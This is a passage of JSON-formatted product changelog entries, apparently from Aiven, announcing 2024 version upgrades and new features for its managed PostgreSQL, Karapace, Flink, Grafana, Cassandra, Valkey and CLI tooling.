builds"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ac6b3bfdb603","_type":"block","children":[{"_key":"1dbf8304f5cf0","_type":"span","marks":[],"text":"Reduced memory usage for HNSW index builds"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"855fefa912c2","_type":"block","children":[{"_key":"da4ed2817ba70","_type":"span","marks":[],"text":"Reduced WAL generation for HNSW index builds"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7b18e7603e0c","_type":"block","children":[{"_key":"ee309564bb0c0","_type":"span","marks":[],"text":"Docker image moved to the "},{"_key":"ee309564bb0c1","_type":"span","marks":["code"],"text":"pgvector"},{"_key":"ee309564bb0c2","_type":"span","marks":[],"text":" org"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fd9f3cbb3543","_type":"block","children":[{"_key":"86007c3fc4320","_type":"span","marks":[],"text":"Dropped support for Postgres 11"}],"level":2,"listItem":"bullet","markDefs":[],"style":"normal"}],"publishedAt":"2024-05-15T13:17:00.000Z","tags":[{"_key":"f5e5c3e3430e","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"pgvector extension 0.6.2 for Aiven for PostgreSQL® released"} {"__i18n_lang":"en","_createdAt":"2024-06-04T08:50:31Z","_id":"84956212-3c79-4393-9189-64920a2d2011","_rev":"15B0z4WvHVfbLgXS8BbLdL","_type":"changelog","_updatedAt":"2024-06-04T08:50:31Z","changeType":"improved","description":[{"_key":"d294a5b598a8","_type":"block","children":[{"_key":"ea88efc8633b0","_type":"span","marks":[],"text":"A new minor version of the Aiven CLI is now available, featuring the following updates:"}],"markDefs":[],"style":"normal"},{"_key":"64ed4c4089cb","_type":"block","children":[{"_key":"12d262e3c908","_type":"span","marks":[],"text":"Added support for controlling retry behavior in API calls."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b38a99bc29e5","_type":"block","children":[{"_key":"960018e5ad510","_type":"span","marks":[],"text":"Corrected the help output for "},{"_key":"960018e5ad511","_type":"span","marks":["code"],"text":"avn service list"},{"_key":"960018e5ad512","_type":"span","marks":[],"text":" command."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"aaf592d2d6ea","_type":"block","children":[{"_key":"c1bcb5ef50460","_type":"span","marks":[],"text":"For more information, see "},{"_key":"c1bcb5ef50461","_type":"span","marks":["81fed01f284b"],"text":"Aiven CLI release notes"},{"_key":"c1bcb5ef50462","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"81fed01f284b","_type":"link","href":"https://github.com/aiven/aiven-client/releases"}],"style":"normal"}],"publishedAt":"2024-06-04T08:50:06.969Z","tags":[{"_key":"f19d2d4db0a2","_ref":"3362a069-f95e-4230-b990-be0b003bc779","_type":"tool"}],"title":"Aiven CLI version 4.2.0 now available"} {"__i18n_lang":"en","_createdAt":"2024-06-05T12:32:46Z","_id":"6cfdfa43-6d8f-40fa-93cd-f3f2794dcf5e","_rev":"4VzlThzl3LdNewHAKNNxRF","_type":"changelog","_updatedAt":"2024-06-06T06:59:21Z","changeType":"improved","description":[{"_key":"33b8089d913a","_type":"block","children":[{"_key":"185ed2a98d750","_type":"span","marks":[],"text":"The service overview page has been redesigned and displays service performance metrics. All service-related settings are located on the service settings page.\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-06-06T06:59:00.000Z","tags":[{"_key":"c4124cc0526f","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"Service overview has been redesigned"} {"__i18n_lang":"en","_createdAt":"2024-05-23T07:40:06Z","_id":"4d0344fd-339f-43e3-841b-90677e58c3e7","_rev":"VfQ7OfGwzGd1W0wf9OE2dC","_type":"changelog","_updatedAt":"2024-06-05T16:54:56Z","changeType":"improved","description":[{"_key":"5f747c69d556","_type":"block","children":[{"_key":"77ff36a9eb2f0","_type":"span","marks":[],"text":"Karapace has been upgraded to version 3.13.0, featuring various enhancements and bug fixes. The key changes in this release include:"}],"markDefs":[],"style":"normal"},{"_key":"6a7d9fc61b1e","_type":"block","children":[{"_key":"f12e43c02bfa0","_type":"span","marks":["strong"],"text":"Avro/JSONSchema error handling: "},{"_key":"f12e43c02bfa1","_type":"span","marks":[],"text":"Fixed the issue where a payload that does not match the schema now returns a 422 error code, providing more precise error feedback."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2506fc27cc79","_type":"block","children":[{"_key":"7610e80426e20","_type":"span","marks":["strong"],"text":"Schema message consumption: "},{"_key":"7610e80426e21","_type":"span","marks":[],"text":"Enhanced schema message consumption to process multiple messages during startup, reducing overhead and increasing efficiency. After startup, it now consumes one record at a time to ensure consistent performance."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b6251d6b0422","_type":"block","children":[{"_key":"4cd879ef165c0","_type":"span","marks":["strong"],"text":"Union type handling: "},{"_key":"4cd879ef165c1","_type":"span","marks":[],"text":"Resolved an issue to correctly handle Avro array and map names in union types, ensuring proper data consistency."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ab0df590a99a","_type":"block","children":[{"_key":"62ef0dd279970","_type":"span","marks":[],"text":"For a complete list of fixes and detailed information, see the "},{"_key":"62ef0dd279971","_type":"span","marks":["70867ee24dd5"],"text":"Karapace release notes"},{"_key":"62ef0dd279972","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"70867ee24dd5","_type":"link","href":"https://github.com/Aiven-Open/karapace/releases"}],"style":"normal"}],"publishedAt":"2024-05-28T07:24:00.000Z","tags":[{"_key":"ecd113ba2611","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace has been upgraded to version 3.13.0"} {"__i18n_lang":"en","_createdAt":"2024-06-06T08:27:37Z","_id":"e3786eab-e917-4499-bf43-5d29e3603432","_rev":"nBbHb51278Y5dbUKYI85O1","_type":"changelog","_updatedAt":"2024-06-11T04:47:17Z","changeType":"improved","description":[{"_key":"466740246a9f","_type":"block","children":[{"_key":"ee1674ebbf610","_type":"span","marks":[],"text":"Karapace has been upgraded to version 3.13.1 with the following key update:"}],"markDefs":[],"style":"normal"},{"_key":"b7d7ddf02453","_type":"block","children":[{"_key":"2a2ac23fbe250","_type":"span","marks":["strong"],"text":"Protobuf rendering"},{"_key":"2a2ac23fbe251","_type":"span","marks":[],"text":": Fixed the boolean lowercase rendering in the "},{"_key":"35a30774c411","_type":"span","marks":["code"],"text":"java_multiple_files"},{"_key":"e30d0cf19119","_type":"span","marks":[],"text":" option for Protocol Buffers."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1556232a42f0","_type":"block","children":[{"_key":"d46e1827a8e60","_type":"span","marks":[],"text":"For a complete list of fixes and detailed information, see the "},{"_key":"d46e1827a8e61","_type":"span","marks":["ab5f417e5add"],"text":"Karapace release notes"},{"_key":"d46e1827a8e62","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"ab5f417e5add","_type":"link","href":"https://github.com/Aiven-Open/karapace/releases/tag/3.13.1"}],"style":"normal"}],"publishedAt":"2024-06-11T04:47:00.784Z","tags":[{"_key":"267eee85f46b","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace version 3.13.1"} {"__i18n_lang":"en","_createdAt":"2024-06-13T07:22:36Z","_id":"893870fd-e9d0-448c-9782-1c89c0ccccd0","_rev":"LnmbGgCbmGvYlSYQVMF5Ze","_type":"changelog","_updatedAt":"2024-06-13T07:22:36Z","changeType":"improved","description":[{"_key":"73e539f22188","_type":"block","children":[{"_key":"04720b9c2ee10","_type":"span","marks":[],"text":"Aiven for Apache Flink now supports Apache Flink version 1.19, enhancing features, performance, and security. To upgrade, create a new service, migrate applications, and decommission the existing service. Detailed upgrade instructions are available in the "},{"_key":"04720b9c2ee11","_type":"span","marks":["229252c9cdff"],"text":"Upgrade to Aiven for Apache Flink"},{"_key":"04720b9c2ee12","_type":"span","marks":[],"text":" documentation. For a complete list of new features and enhancements, refer to the "},{"_key":"04720b9c2ee13","_type":"span","marks":["0e42e631ad44"],"text":"Apache Flink 1.19 Release notes"},{"_key":"04720b9c2ee14","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"229252c9cdff","_type":"link","href":"https://aiven.io/docs/products/flink/howto/upgrade-flink-version"},{"_key":"0e42e631ad44","_type":"link","href":"https://nightlies.apache.org/flink/flink-docs-release-1.19/release-notes/flink-1.19/"}],"style":"normal"}],"publishedAt":"2024-06-13T07:21:42.452Z","tags":[{"_key":"c87a0612809a","_ref":"1e5afeea-8442-4a65-84fd-5475f78e09b3","_type":"service"}],"title":"Aiven for Apache Flink version 1.19"} {"__i18n_lang":"en","_createdAt":"2024-06-19T10:37:12Z","_id":"74ad0181-727b-458b-8316-3c1feb8e89f3","_rev":"6bYZdDBH1WRdHtSvjHCToB","_type":"changelog","_updatedAt":"2024-06-19T14:48:39Z","changeType":"improved","description":[{"_key":"82214d2968ac","_type":"block","children":[{"_key":"052effb502b2","_type":"span","marks":[],"text":"The "},{"_key":"3d808be65a0e","_type":"span","marks":["strong"],"text":"Query Statistics "},{"_key":"fb5a33d310f2","_type":"span","marks":[],"text":"section for PG services has been removed in favor of the "},{"_key":"723dc9fc29e8","_type":"span","marks":["strong"],"text":"AI insights"},{"_key":"f881d82cc2db","_type":"span","marks":[],"text":" section. "}],"markDefs":[],"style":"normal"},{"_key":"ae4c6370de60","_type":"block","children":[{"_key":"10502b25cffd","_type":"span","marks":[],"text":"This section is powered by Aiven AI Database Optimizer and it tracks slow queries for you and also suggests how to optimize them."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-06-19T14:55:00.000Z","tags":[{"_key":"c3cc4e4ca36d","_ref":"9096ab2c-f4cd-421e-aa1a-b10d462d6011","_type":"tool"}],"title":"PG's Query Statistics replaced by PG AI Performance Insights"} {"__i18n_lang":"en","_createdAt":"2024-06-19T13:26:02Z","_id":"3479a924-43e9-48e7-ba60-da101d12c4c2","_rev":"6bYZdDBH1WRdHtSvjJBHgn","_type":"changelog","_updatedAt":"2024-06-20T11:28:18Z","changeType":"new","description":[{"_key":"e73e3dfdeaba","_type":"block","children":[{"_key":"bb3f1d6a60c10","_type":"span","marks":[],"text":"The h3-pg extension is now available for Aiven for PostgreSQL."}],"markDefs":[],"style":"normal"},{"_key":"01ae3fa29689","_type":"block","children":[{"_key":"cf1e2cb9c7f9","_type":"span","marks":[],"text":"h3-pg is a PostgreSQL extension that allows efficiently index and analyze geospatial data, including creating heatmaps, performing spatial analyses, and enhancing location-based decision-making for applications and services within the PostgreSQL database."}],"markDefs":[],"style":"normal"},{"_key":"785e44367bc7","_type":"block","children":[{"_key":"01b08e8feb6e0","_type":"span","marks":[],"text":"For more information, see the "},{"_key":"01b08e8feb6e1","_type":"span","marks":["ea979f773e67"],"text":"h3pg documentation"},{"_key":"01b08e8feb6e2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"ea979f773e67","_type":"link","href":"https://github.com/zachasme/h3-pg"}],"style":"normal"}],"publishedAt":"2024-06-20T10:44:00.000Z","tags":[{"_key":"d385a44c1787","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"h3pg now available for Aiven for PostgreSQL"} {"__i18n_lang":"en","_createdAt":"2024-05-08T13:39:43Z","_id":"caeb3118-5f99-4cd5-8f69-d8199b875d7b","_rev":"2rELLQTW1ADhr05h4RloR1","_type":"changelog","_updatedAt":"2024-06-24T09:22:38Z","changeType":"improved","description":[{"_key":"0d80e57ada1d","_type":"block","children":[{"_key":"1cd8c348dbca0","_type":"span","marks":[],"text":"Aiven for PostgreSQL® has been upgraded to latest minor versions 16.3, 15.7, 14.12, 13.15, and 12.19, which contain a variety of fixes to previous versions. Removing bugs and security vulnerabilities increases database performance, improves service availability, and helps ensure business continuity."}],"markDefs":[],"style":"normal"},{"_key":"3e9c5d014348","_type":"block","children":[{"_key":"8fc9884f0c220","_type":"span","marks":[],"text":"See "},{"_key":"8fc9884f0c221","_type":"span","marks":["b1bdfeea56a0"],"text":"PostgreSQL release notes"},{"_key":"8fc9884f0c222","_type":"span","marks":[],"text":" for more details about the PostgreSQL® minor releases."}],"markDefs":[{"_key":"b1bdfeea56a0","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2024-05-21T09:22:00.000Z","tags":[{"_key":"5c783d1561f1","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL® upgraded to 16.3, 15.7, 14.12, 13.15, and 12.19"} {"__i18n_lang":"en","_createdAt":"2024-06-26T09:57:17Z","_id":"8b6cf5a3-2d2a-44db-a4ff-f10cb99fa54b","_rev":"oOylPWK65J0ej1lvdbHDgh","_type":"changelog","_updatedAt":"2024-06-26T09:57:17Z","changeType":"new","description":[{"_key":"9dea2c81db1b","_type":"block","children":[{"_key":"4fe39a7792730","_type":"span","marks":[],"text":"This version supports "},{"_key":"4fe39a7792734","_type":"span","marks":["3b3f6ae0f6c9"],"text":"Clickhouse grants"},{"_key":"4fe39a7792735","_type":"span","marks":[],"text":", letting you grant privileges to users and roles in your ClickHouse services."}],"markDefs":[{"_key":"3b3f6ae0f6c9","_type":"link","href":"https://aiven.github.io/aiven-operator/api-reference/clickhousegrant.html"},{"_key":"10cba2b9f69a","_type":"link","href":"https://aiven.github.io/aiven-operator/changelog.html"}],"style":"normal"},{"_key":"63162598e6b1","_type":"block","children":[{"_key":"a331d348e260","_type":"span","marks":[],"text":"This release also includes updated user config options, new "},{"_key":"4fe39a7792736","_type":"span","marks":["code"],"text":"ServiceIntegration"},{"_key":"4fe39a7792737","_type":"span","marks":[],"text":" fields, bug fixes, and other improvements. "}],"markDefs":[{"_key":"10cba2b9f69a","_type":"link","href":"https://aiven.github.io/aiven-operator/changelog.html"}],"style":"normal"},{"_key":"fcd9be929a51","_type":"block","children":[{"_key":"c77d6b62aafb","_type":"span","marks":[],"text":"You can view the full "},{"_key":"4fe39a7792738","_type":"span","marks":["10cba2b9f69a"],"text":"changelog"},{"_key":"4fe39a7792739","_type":"span","marks":[],"text":" on the Aiven Operator website."}],"markDefs":[{"_key":"10cba2b9f69a","_type":"link","href":"https://aiven.github.io/aiven-operator/changelog.html"}],"style":"normal"}],"publishedAt":"2024-06-25T09:56:00.000Z","tags":[{"_key":"a8963828310e","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"tool"}],"title":"Aiven Operator for Kubernetes version 0.21.0 now available"} {"__i18n_lang":"en","_createdAt":"2024-06-27T08:42:31Z","_id":"a1d86738-0fe1-4672-a84b-e7bcf28d116e","_rev":"oOylPWK65J0ej1lvdeN0Yp","_type":"changelog","_updatedAt":"2024-06-27T13:38:18Z","changeType":"new","description":[{"_key":"2ceb4bcd9bee","_type":"block","children":[{"_key":"9db7cdeeb3e9","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"7364ba12014d","_type":"block","children":[{"_key":"798f7cfcfb670","_type":"span","marks":[],"text":"Discover Aiven for Valkey, the latest addition to our managed service portfolio. Aiven for Valkey is an open-source, in-memory NoSQL database designed as a seamless and reliable alternative to Redis OSS. Key features include:"}],"markDefs":[],"style":"normal"},{"_key":"16779022d940","_type":"block","children":[{"_key":"02a1f40bf1c90","_type":"span","marks":["strong"],"text":"Open source initiative"},{"_key":"02a1f40bf1c91","_type":"span","marks":[],"text":": Valkey is a fork of OSS Redis®, version 7.2.5, maintained by the Linux Foundation. It is fully backward compatible with Redis and licensed under the BSD-3 license."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"3699d00f3921","_type":"block","children":[{"_key":"f37e666243e40","_type":"span","marks":["strong"],"text":"Redis compatibility"},{"_key":"f37e666243e41","_type":"span","marks":[],"text":": Fully compatible with Redis OSS 7.2.4 and Aiven for Caching."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"a11d218f0c29","_type":"block","children":[{"_key":"ed76f02b27c30","_type":"span","marks":["strong"],"text":"High performance"},{"_key":"ed76f02b27c31","_type":"span","marks":[],"text":": Fast data retrieval with low latency."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4bf9bc385c57","_type":"block","children":[{"_key":"49d554ac44130","_type":"span","marks":["strong"],"text":"Managed service"},{"_key":"49d554ac44131","_type":"span","marks":[],"text":": Aiven handles maintenance, updates, and monitoring."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"acb234e1ca33","_type":"block","children":[{"_key":"8a0038b254f20","_type":"span","marks":["strong"],"text":"Migration support"},{"_key":"8a0038b254f21","_type":"span","marks":[],"text":": Supports data migration from external Redis® and Valkey databases. "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1688febf3618","_type":"block","children":[{"_key":"343a4fc8e9ee0","_type":"span","marks":[],"text":"For more information, see "},{"_key":"343a4fc8e9ee1","_type":"span","marks":["319a9555f489"],"text":"Aiven for Valkey documentation"},{"_key":"343a4fc8e9ee2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"319a9555f489","_type":"link","href":"https://aiven.io/docs/products/valkey"}],"style":"normal"}],"publishedAt":"2024-06-27T13:37:00.000Z","tags":[{"_key":"4064fe24462d","_ref":"32901e10-74d0-48c8-a797-be1bb58c8839","_type":"service"}],"title":"Introducing Aiven for Valkey"} {"__i18n_lang":"en","_createdAt":"2024-06-27T13:49:55Z","_id":"3b35c841-04d1-4c5d-bc00-3fae5ed7ba23","_rev":"p92WeIHLmx3eRj4zhh2kdt","_type":"changelog","_updatedAt":"2024-06-27T14:26:33Z","changeType":"improved","description":[{"_key":"4e3bbd4bc855","_type":"block","children":[{"_key":"b7552da66aa90","_type":"span","marks":[],"text":"Minor version 4.2.1 of the Aiven CLI is now available. It introduces Bring Your Own Cloud (BYOC) API for "},{"_key":"b7552da66aa91","_type":"span","marks":["cc457d0f0a23"],"text":"eligible customers"},{"_key":"b7552da66aa92","_type":"span","marks":[],"text":" on a limited basis with the GCP cloud provider."}],"markDefs":[{"_key":"cc457d0f0a23","_type":"link","href":"https://aiven.io/docs/platform/concepts/byoc#eligible-for-byoc"}],"style":"normal"},{"_key":"2043fbcac9bd","_type":"block","children":[{"_key":"ef7f4c3d45620","_type":"span","marks":[],"text":"The "},{"_key":"ef7f4c3d45621","_type":"span","marks":["code"],"text":"avn provision"},{"_key":"ef7f4c3d45622","_type":"span","marks":[],"text":" command has the new "},{"_key":"ef7f4c3d45623","_type":"span","marks":["code"],"text":"--google-privilege-bearing-service-account-id"},{"_key":"ef7f4c3d45624","_type":"span","marks":[],"text":" option, which is mutually exclusive with "},{"_key":"ef7f4c3d45625","_type":"span","marks":["code"],"text":"--aws-iam-role-arn"},{"_key":"ef7f4c3d45626","_type":"span","marks":[],"text":", for example "},{"_key":"f1c0d3f206b6","_type":"span","marks":["code"],"text":"--google-privilege-bearing-service-account-id projects/your-project/serviceAccounts/cce-cce0123456789a@your-project.iam.gserviceaccount.com"},{"_key":"ef7f4c3d45628","_type":"span","marks":[],"text":"."}],"markDefs":[],"style":"normal"},{"_key":"8b63b47b0a26","_type":"block","children":[{"_key":"0125ca2b75da0","_type":"span","marks":[],"text":"For more information, see "},{"_key":"0125ca2b75da1","_type":"span","marks":["fe506044acbe"],"text":"Aiven CLI 4.2.1 release notes"},{"_key":"0125ca2b75da2","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"fe506044acbe","_type":"link","href":"https://github.com/aiven/aiven-client/releases/tag/4.2.1"}],"style":"normal"}],"publishedAt":"2024-06-27T13:49:00.000Z","tags":[{"_key":"1b4b36b5f95c","_ref":"3362a069-f95e-4230-b990-be0b003bc779","_type":"tool"}],"title":"Aiven CLI version 4.2.1 now available"} {"__i18n_lang":"en","_createdAt":"2024-09-23T14:54:26Z","_id":"6ca37cad-da7a-4379-9787-3784a2cfd21e","_rev":"YWHkZRhDz94HWGkESrA3RT","_type":"changelog","_updatedAt":"2024-09-24T08:00:03Z","changeType":"improved","description":[{"_key":"9fdef1827126","_type":"block","children":[{"_key":"4db818f57f000","_type":"span","marks":[],"text":"Aiven for Grafana now supports Grafana version 11.2. This release deprecates legacy alerts. To avoid losing any alerts, migrate to the unified alerting system."}],"markDefs":[],"style":"normal"},{"_key":"b173d5d5cdf8","_type":"block","children":[{"_key":"c6a502329ba10","_type":"span","marks":[],"text":"To enable unified alerting, update the"},{"_key":"294d79310189","_type":"span","marks":["strong","0e97d690752b"],"text":" Advanced configuration parameters"},{"_key":"c6a502329ba12","_type":"span","marks":[],"text":" in the Aiven for Grafana service settings within the Aiven console:"}],"markDefs":[{"_key":"0e97d690752b","_type":"link","href":"https://aiven.io/docs/products/grafana/reference/advanced-params"}],"style":"normal"},{"_key":"dfec1448bb71","_type":"block","children":[{"_key":"7863f59449d50","_type":"span","marks":[],"text":"Set "},{"_key":"7863f59449d51","_type":"span","marks":["code"],"text":"alerting_enabled"},{"_key":"7863f59449d52","_type":"span","marks":[],"text":" to "},{"_key":"bd4d4af07bb1","_type":"span","marks":["strong"],"text":"disabled"},{"_key":"c7bba01d8363","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4b15a8bd86aa","_type":"block","children":[{"_key":"acb016d311f10","_type":"span","marks":[],"text":"Set "},{"_key":"acb016d311f11","_type":"span","marks":["code"],"text":"unified_alerting_enabled"},{"_key":"acb016d311f12","_type":"span","marks":[],"text":" to "},{"_key":"1e8164b9e4a2","_type":"span","marks":["strong"],"text":"enabled"},{"_key":"359584647f40","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"be10327be6cd","_type":"block","children":[{"_key":"97480ea367070","_type":"span","marks":[],"text":"For more details, see the "},{"_key":"97480ea367071","_type":"span","marks":["6f0f94233034"],"text":"Grafana alert migration guide"},{"_key":"97480ea367072","_type":"span","marks":[],"text":".\n\n"},{"_key":"97480ea367073","_type":"span","marks":["strong"],"text":"Removed plugins"},{"_key":"97480ea367074","_type":"span","marks":[],"text":"\nThe following plugins have been removed due to upstream deprecations:"}],"markDefs":[{"_key":"6f0f94233034","_type":"link","href":"https://grafana.com/docs/grafana/latest/alerting/set-up/migrating-alerts/"}],"style":"normal"},{"_key":"9b78870668ff","_type":"block","children":[{"_key":"61878635bcb90","_type":"span","marks":["eef51993280e"],"text":"agenty-flowcharting-panel"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"eef51993280e","_type":"link","href":"https://grafana.com/grafana/plugins/agenty-flowcharting-panel/"}],"style":"normal"},{"_key":"4483a2014424","_type":"block","children":[{"_key":"be5d73161ebe0","_type":"span","marks":["fcb1fd6586ee"],"text":"blackmirror1-singlestat-math-panel"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"fcb1fd6586ee","_type":"link","href":"https://grafana.com/grafana/plugins/blackmirror1-singlestat-math-panel/"}],"style":"normal"},{"_key":"eaed08dea967","_type":"block","children":[{"_key":"3e6fd635ca670","_type":"span","marks":["1290c0beeff9"],"text":"flant-statusmap-panel"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1290c0beeff9","_type":"link","href":"https://grafana.com/grafana/plugins/flant-statusmap-panel/"}],"style":"normal"},{"_key":"d44e90fe68a6","_type":"block","children":[{"_key":"29d6cb88b1690","_type":"span","marks":["86822de87159"],"text":"grafana-worldmap-panel"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"86822de87159","_type":"link","href":"https://grafana.com/grafana/plugins/grafana-worldmap-panel/"}],"style":"normal"},{"_key":"1bdb64635381","_type":"block","children":[{"_key":"8dca35dfc7d60","_type":"span","marks":["2463d69dc1f9"],"text":"natel-discrete-panel"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2463d69dc1f9","_type":"link","href":"https://grafana.com/grafana/plugins/natel-discrete-panel/"}],"style":"normal"},{"_key":"c2e82519dff2","_type":"block","children":[{"_key":"12dd3219f7af0","_type":"span","marks":["352968a0f121"],"text":"petrslavotinek-carpetplot-panel"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"352968a0f121","_type":"link","href":"https://grafana.com/grafana/plugins/petrslavotinek-carpetplot-panel/"}],"style":"normal"},{"_key":"c8087d5e1271","_type":"block","children":[{"_key":"3a26535f00f20","_type":"span","marks":["38bff8080986"],"text":"ryantxu-ajax-panel"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"38bff8080986","_type":"link","href":"https://grafana.com/grafana/plugins/ryantxu-ajax-panel/"}],"style":"normal"},{"_key":"1afd93bc98f7","_type":"block","children":[{"_key":"3959cda2abcd0","_type":"span","marks":["c81f998f44f2"],"text":"vonage-status-panel"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c81f998f44f2","_type":"link","href":"https://grafana.com/grafana/plugins/vonage-status-panel/"}],"style":"normal"},{"_key":"d1b1cbca7453","_type":"block","children":[{"_key":"16d1c5eae71f0","_type":"span","marks":["b927ac4e4bac"],"text":"grafana-piechart-panel"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b927ac4e4bac","_type":"link","href":"https://grafana.com/grafana/plugins/grafana-piechart-panel/"}],"style":"normal"},{"_key":"bfc688b98041","_type":"block","children":[{"_key":"67b57681cf4a0","_type":"span","marks":["bb3c53355d6a"],"text":"grafana-simple-json-datasource"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"bb3c53355d6a","_type":"link","href":"https://grafana.com/grafana/plugins/grafana-simple-json-datasource/"}],"style":"normal"},{"_key":"cab5fd379245","_type":"block","children":[{"_key":"87694a2722180","_type":"span","marks":["428a27d1081b"],"text":"xginn8-pagerduty-datasource"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"428a27d1081b","_type":"link","href":"https://grafana.com/grafana/plugins/xginn8-pagerduty-datasource/"}],"style":"normal"},{"_key":"8da7f8494449","_type":"block","children":[{"_key":"9fbb78a8ee980","_type":"span","marks":["2028b747ec91"],"text":"doitintl-bigquery-datasource"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2028b747ec91","_type":"link","href":"https://grafana.com/grafana/plugins/doitintl-bigquery-datasource/"}],"style":"normal"},{"_key":"7acab5b5ffcf","_type":"block","children":[{"_key":"76557633b82e","_type":"span","marks":[],"text":"To view the list of supported plugins, see "},{"_key":"f0dac786e996","_type":"span","marks":["55bf8557876e"],"text":"Aiven documentation on Grafana plugins"},{"_key":"6783b75b39dc","_type":"span","marks":[],"text":".\n\nFor any assistance, contact Aiven Support via the "},{"_key":"bbbf76c93ac8","_type":"span","marks":["e20af1c0c238"],"text":"Aiven Console"},{"_key":"21eb21bb4b00","_type":"span","marks":[],"text":" or by email "},{"_key":"137a8b963c0c","_type":"span","marks":["08e4df4780c7"],"text":"a"},{"_key":"5683469ee5af","_type":"span","marks":[],"text":"t support@aiven.io. "}],"markDefs":[{"_key":"55bf8557876e","_type":"link","href":"https://aiven.io/docs/products/grafana/reference/plugins"},{"_key":"e20af1c0c238","_type":"link","href":"https://aiven.io/docs/platform/howto/support#create-a-support-ticket"},{"_key":"08e4df4780c7","_type":"link","href":"mailto:support@aiven.io"}],"style":"normal"}],"publishedAt":"2024-09-20T15:05:00.000Z","tags":[{"_key":"d803101b5e60","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Aiven for Grafana version 11.2"} {"__i18n_lang":"en","_createdAt":"2024-06-18T11:58:39Z","_id":"d716a723-e5d6-4092-9de9-2942b941b2c0","_rev":"dL4QB5BmM9bhrJSKRjNqy7","_type":"changelog","_updatedAt":"2024-07-02T08:20:17Z","changeType":"improved","description":[{"_key":"6ebc5eaa43ae","_type":"block","children":[{"_key":"aba3be42b6790","_type":"span","marks":[],"text":"Aiven for Apache Cassandra® has been upgraded to minor version 4.1.5, which contains a variety of improvements and fixes to previous versions. Removing bugs and security vulnerabilities increases database performance, improves service availability, and helps ensure business continuity."}],"markDefs":[],"style":"normal"},{"_key":"91f4c848dea7","_type":"block","children":[{"_key":"f12c5b1931b70","_type":"span","marks":[],"text":"More details on Apache Cassandra 4.1.5 in "},{"_key":"a208bf3d2427","_type":"span","marks":["72c532277ca7"],"text":"Apache Cassandra release notes"},{"_key":"83b900a0c6bc","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"72c532277ca7","_type":"link","href":"https://github.com/apache/cassandra/blob/cassandra-4.1.5/CHANGES.txt"}],"style":"normal"}],"publishedAt":"2024-07-02T08:19:00.000Z","tags":[{"_key":"f67ffe33c2eb","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"}],"title":"Aiven for Apache Cassandra® upgraded to 4.1.5"} {"__i18n_lang":"en","_createdAt":"2024-10-08T12:33:58Z","_id":"3c5a47a7-0bce-4232-a83d-db8ad816604f","_rev":"uHzmvE2HQDA7PXHnK0Ik5e","_type":"changelog","_updatedAt":"2024-11-04T09:37:51Z","changeType":"improved","description":[{"_key":"9d40379d9ddb","_type":"block","children":[{"_key":"d66fcef765f20","_type":"span","marks":[],"text":"TimescaleDB extension version 2.17.1 is now available for Aiven for PostgreSQL®. It introduces new features, performance improvements, and bug fixes on top of release 2.16.1. Upgrade to 2.17.1 at your earliest convenience to make sure you use the most robust and secure version available."}],"markDefs":[],"style":"normal"},{"_key":"b689d591f770","_type":"block","children":[{"_key":"bcb5303e19ff0","_type":"span","marks":[],"text":"Refer to "},{"_key":"bcb5303e19ff1","_type":"span","marks":["fea436e85cb8"],"text":"TimescaleDB release notes"},{"_key":"bcb5303e19ff2","_type":"span","marks":[],"text":" for all the changes introduced in this 